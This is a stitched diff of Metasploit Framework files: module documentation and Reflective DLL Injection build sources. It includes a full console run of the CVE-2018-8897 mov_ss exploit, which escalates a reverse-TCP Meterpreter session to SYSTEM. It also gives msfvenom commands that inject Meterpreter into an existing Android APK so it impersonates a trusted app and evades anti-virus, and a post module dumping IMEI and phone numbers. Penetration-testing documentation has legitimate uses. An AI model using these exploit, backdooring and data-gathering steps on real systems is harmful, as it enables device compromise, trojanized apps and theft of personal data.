Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > use exploit/windows/local/mov_ss
msf5 exploit(windows/local/mov_ss) > show options
Module options (exploit/windows/local/mov_ss):
Name Current Setting Required Description
---- --------------- -------- -----------
EXECUTE_DELAY 3 no The number of seconds to delay before executing the exploit if USE_INJECTION=false
EXPLOIT_NAME no The filename to use for the exploit binary if USE_INJECTION=false (%RAND% by default).
PATH no Path to write binaries if if USE_INJECTION=false(%TEMP% by default).
PAYLOAD_NAME no The filename for the payload to be used on the target host if USE_INJECTION=false (%RAND%.exe by default).
SESSION 1 yes The session to run this module on.
USE_INJECTION true yes Use in-memory dll injection rather than exe file uploads.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.135.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows x64
msf5 exploit(windows/local/mov_ss) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/local/mov_ss) > set lhost 192.168.135.111
lhost => 192.168.135.111
msf5 exploit(windows/local/mov_ss) > set lport 4567
lport => 4567
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Checking target...
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Target Looks Good... trying to start notepad
[*] Launching notepad to host the exploit...
[+] Process 4964 launched.
[*] Reflectively injecting the exploit DLL into 4964...
[*] Exploit injected. Injecting payload into 4964...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (206403 bytes) to 192.168.136.142
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.136.142 - Meterpreter session 3 closed. Reason: User exit
msf5 exploit(windows/local/mov_ss) > set USE_INJECTION false
USE_INJECTION => false
msf5 exploit(windows/local/mov_ss) > run
[*] Started reverse TCP handler on 192.168.135.111:4567
[*] Attempting to PrivEsc on DESKTOP-QGIC71I via session ID: 1
[*] Exploit uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe
[*] Payload (7168 bytes) uploaded on DESKTOP-QGIC71I to C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Running exploit C:\Users\msfuser\AppData\Local\Temp\ACLgNJAJ.exe with payload C:\Users\msfuser\AppData\Local\Temp\kWDncKCjHtb.exe
[*] Sending stage (206403 bytes) to 192.168.136.142
^C[-] Exploit failed: Interrupt
msf5 exploit(windows/local/mov_ss) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/windows DESKTOP-QGIC71I\msfuser @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49696 (192.168.136.142)
4 meterpreter x64/windows NT AUTHORITY\SYSTEM @ DESKTOP-QGIC71I 192.168.135.111:4567 -> 192.168.136.142:49699 (192.168.136.142)
msf5 exploit(windows/local/mov_ss) > exit
```
## Build instructions
For both the dll and exe, use Visual studio solutions found in
./external/source/exploits/cve-2018-8897
then copy the resulting binaries to
./data/exploits/cve-2018-8897

View File

@ -0,0 +1,51 @@
You can inject the Android Meterpreter into an existing APK using msfvenom. This
will allow you to impersonate an existing application, which may make it easier
to convince your victim to install the APK.
## Vulnerable Application
It should be possible to inject Meterpreter into any APK, however some applications
have complex resource structures which may not work with `apktool`.
Additionally some applications have security measures that prevent the application
from working as expected once it has been modified.
**Finding APKs**
There are many websites that provide standalone APK that can be downloaded, e.g:
APKPure, APKMirror, RAW APK.
You can also build a simple application yourself with Android Studio.
Additionally you can pull APKs from a device connected via ADB:
```
$ adb shell pm list packages | grep app
package:com.existing.app
$ adb shell pm path com.existing.app
package:/data/app/com.existing.app-1/base.apk
$ adb pull /data/app/com.existing.app-1/base.apk com.existing.apk
[100%] /data/app/com.existing.app-1/base.apk
```
## Requirements
APK Injection (as opposed to generating a single APK payload) requires a few tools
to be present on your command line already:
* [Apktool](https://ibotpeaches.github.io/Apktool/) - Used for rebuilding the APK
* [keytool](https://docs.oracle.com/javase/8/docs/technotes/tools/unix/keytool.html) - To create and extract signing certificates
* [jarsigner](https://docs.oracle.com/javase/7/docs/technotes/tools/windows/jarsigner.html) - To re-sign the APK
Installing these tools (if they are not installed already) will depend on your OS.
Apktool can be installed manually or automatically (e.g `brew install apktool`).
keytool and jarsigner can be installed by installing the appropriate JDK.
## Verification Steps
```
./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
Next, start an Android device. Upload the APK, and execute it, as you would with
a [normal Android meterpreter APK](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md).

View File

@ -41,21 +41,24 @@ msf payload(reverse_tcp) > generate -t raw -f /tmp/android.apk
msf payload(reverse_tcp) >
```
To create the APK with msfvenom:
### To create the APK with msfvenom:
```
./msfvenom -p android/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
### To inject meterpreter into an existing APK with msfvenom:
You can also add Android meterpreter to any existing APK. This will make it harder for
Anti-virus software to detect the payload, and allow you read internal files and take
screenshots of the Android app you are backdooring:
screenshots of the Android app that you are backdooring:
```
./msfvenom -p android/meterpreter/reverse_tcp -x com.existing.apk LHOST=[IP] LPORT=4444 -f raw -o /tmp/android.apk
```
[Please see here for more documentation on Android injection](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/injection.md).
Next, start an Android device. Upload the APK, and execute it. There are different ways to do this,
so please refer to the Scenarios section for more information.

View File

@ -0,0 +1,99 @@
## Vulnerable Application
This post-exploitation module will extract subscriber information
from the target device using call service service call iphonesubinfo <transaction_code>.
## Verification Steps
1. Start `msfconsole`
2. Get meterpreter session
3. Do: `use android/gather/sub_info`
4. Do: `set SESSION <session id>`
5. Do: `run`
6. You should be able to see the extracted subsriber information.
## Options
- **SESSION** - The session to run the module on.
## Extracted data
- subscribe information
## Example Scenario
```
msf5 exploit(multi/handler) > use post/android/gather/sub_info
msf5 post(android/gather/sub_info) > set session 1
session => 1
msf5 post(android/gather/sub_info) > run
[!] SESSION may not be compatible with this module.
[*] using code : 1
[*] using code : 2
[*] using code : 3
[*] using code : 4
[*] using code : 5
[*] using code : 6
[*] using code : 7
[*] using code : 8
[*] using code : 9
[*] using code : 10
[*] using code : 11
[*] using code : 12
[*] using code : 13
[*] using code : 14
[*] using code : 15
[*] using code : 16
[*] using code : 17
[*] using code : 18
[*] using code : 19
[*] using code : 20
[*] using code : 21
[*] using code : 22
[*] using code : 23
[*] using code : 24
[*] using code : 25
[*] using code : 26
[*] using code : 27
[*] using code : 28
[*] using code : 29
Subscriber info
===============
transaction code value
---------------- -----
CompleteVoiceMailNumber
CompleteVoiceMailNumberForSubscriber
DeviceId 86928xxxxxxxxxx
DeviceIdForSubscriber
DeviceSvn 8692890262xxxxx
GroupIdLevel1 4042772534xxxxx
GroupIdLevel1ForSubscriber 4042772534xxxxx
IccSerialNumber ff
IccSerialNumberForSubscriber ff
IccSimChallengeResponse
ImeiForSubscriber 8692890xxxxxxxx
IsimChallengeResponse
IsimDomain Voicemail
IsimImpi Voicemail
IsimImpu
IsimIst
IsimPcscf
Line1AlphaTag
Line1AlphaTagForSubscriber
Line1Number 899127217xxxxxxxxxx
Line1NumberForSubscriber 899127217xxxxxxxxxx
Msisdn
MsisdnForSubscriber
SubscriberId 01
SubscriberIdForSubscriber 01
VoiceMailAlphaTag
VoiceMailAlphaTagForSubscriber
VoiceMailNumber
VoiceMailNumberForSubscriber
[*] Post module execution completed
msf5 post(android/gather/sub_info) >
```

View File

@ -0,0 +1,24 @@
This module allows you to open arbitrary files or URLs on the target system.
## Vulnerable Application
The following platforms are supported:
* Windows
* Linux
* OS X
## Verification Steps
1. Obtain a session.
2. In msfconsole do `use post/multi/open`.
3. Set the `SESSION` option.
4. Set the `URI` to the URI you want to use (ex: `https://metasploit.com` or `file://mouhaha.txt`).
5. Do `run`.
## Options
**URI**
The URI that should be passed to the opening command, can be a webiste or a file.

View File

@ -0,0 +1,35 @@
This module allows you to control the screensaver or lock the session.
## Vulnerable Application
The following platforms are supported:
* Windows
* Linux
* OS X
**WARNING**: only Linux supports stopping the screensaver.
## Verification Steps
1. Obtain a session.
2. In msfconsole do `use post/multi/screensaver`.
3. Set the `SESSION` option.
4. Choose the action you want to perform via `set action NAME` (available actions described below).
5. Do `run`.
## Actions
**LOCK**
If you use `set action LOCK` the `run` command will lock the current session, the user will have to login again.
**START**
If you use `set action START` the `run` command will start the screensaver, depending on its settings the user may have to login again.
**STOP**
If you use `set action STOP` the `run` command will stop the screensaver.

View File

@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.

View File

@ -0,0 +1,40 @@
About
=====
Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. As such the library is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. It can then govern, with minimal interaction with the host system and process, how it will load and interact with the host.
Injection works from Windows NT4 up to and including Windows 8, running on x86, x64 and ARM where applicable.
Overview
========
The process of remotely injecting a library into a process is two fold. Firstly, the library you wish to inject must be written into the address space of the target process (Herein referred to as the host process). Secondly the library must be loaded into that host process in such a way that the library's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.
Assuming we have code execution in the host process and the library we wish to inject has been written into an arbitrary location of memory in the host process, Reflective DLL Injection works as follows.
* Execution is passed, either via CreateRemoteThread() or a tiny bootstrap shellcode, to the library's ReflectiveLoader function which is an exported function found in the library's export table.
* As the library's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on.
* The ReflectiveLoader will then parse the host processes kernel32.dll export table in order to calculate the addresses of three functions required by the loader, namely LoadLibraryA, GetProcAddress and VirtualAlloc.
* The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
* The library's headers and sections are loaded into their new locations in memory.
* The ReflectiveLoader will then process the newly loaded copy of its image's import table, loading any additional library's and resolving their respective imported function addresses.
* The ReflectiveLoader will then process the newly loaded copy of its image's relocation table.
* The ReflectiveLoader will then call its newly loaded image's entry point function, DllMain with DLL_PROCESS_ATTACH. The library has now been successfully loaded into memory.
* Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via CreateRemoteThread, the thread will terminate.
Build
=====
Open the 'rdi.sln' file in Visual Studio C++ and build the solution in Release mode to make inject.exe and reflective_dll.dll
Usage
=====
To test use the inject.exe to inject reflective_dll.dll into a host process via a process id, e.g.:
> inject.exe 1234
License
=======
Licensed under a 3 clause BSD license, please see LICENSE.txt for details.

View File

@ -0,0 +1,53 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_METASPLOIT_ATTACH 4
#define DLL_METASPLOIT_DETACH 5
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR (WINAPI * REFLECTIVELOADER)( VOID );
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//

View File

@ -0,0 +1,256 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|ARM">
<Configuration>Debug</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|ARM">
<Configuration>Release</Configuration>
<Platform>ARM</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{EEF3FD41-05D8-4A07-8434-EF5D34D76335}</ProjectGuid>
<RootNamespace>inject</RootNamespace>
<Keyword>Win32Proj</Keyword>
<ProjectName>inject</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<WholeProgramOptimization>true</WholeProgramOptimization>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup>
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(Platform)\$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX86</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;WIN_ARM;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader>
</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OutputFile>$(OutDir)inject.arm.exe</OutputFile>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Midl>
<TargetEnvironment>X64</TargetEnvironment>
</Midl>
<ClCompile>
<Optimization>MaxSpeed</Optimization>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN64;NDEBUG;_CONSOLE;_WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
<WarningLevel>Level3</WarningLevel>
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
<AdditionalIncludeDirectories>../common</AdditionalIncludeDirectories>
</ClCompile>
<Link>
<OutputFile>$(OutDir)inject.x64.exe</OutputFile>
<GenerateDebugInformation>true</GenerateDebugInformation>
<SubSystem>Console</SubSystem>
<OptimizeReferences>true</OptimizeReferences>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<TargetMachine>MachineX64</TargetMachine>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c" />
<ClCompile Include="src\Inject.c" />
<ClCompile Include="src\LoadLibraryR.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\ReflectiveDLLInjection.h" />
<ClInclude Include="src\GetProcAddressR.h" />
<ClInclude Include="src\LoadLibraryR.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,35 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="src\GetProcAddressR.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\Inject.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="src\LoadLibraryR.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\GetProcAddressR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="src\LoadLibraryR.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="..\common\ReflectiveDLLInjection.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
</Project>

View File

@ -0,0 +1,116 @@
//===============================================================================================//
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
